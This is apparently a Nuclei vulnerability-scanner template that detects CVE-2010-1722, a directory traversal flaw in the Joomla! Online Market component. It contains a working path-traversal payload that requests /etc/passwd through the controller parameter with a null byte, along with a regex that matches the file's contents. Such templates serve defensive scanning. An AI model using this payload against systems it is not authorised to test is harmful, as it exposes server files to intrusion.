id: CVE-2010-1722

info:
  name: Joomla! Component Online Market 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in the Online Market 2.x component.
  reference:
    - https://www.exploit-db.com/exploits/12177
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1722
    - http://www.exploit-db.com/exploits/12177
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57674
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1722
    cwe-id: CWE-22
    epss-score: 0.01242
    epss-percentile: 0.83996
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_market:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_market
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402203f0d1de10ccaf9a9d9ed87e953e7cfe386fa078accae00d5db36ab20b676e4d20220323bb7687e98c78a52e9922aa6f83bb11e71e70f3896c302d1e67bc7b350fa86:922c64590222798bb761d5b6d8e72950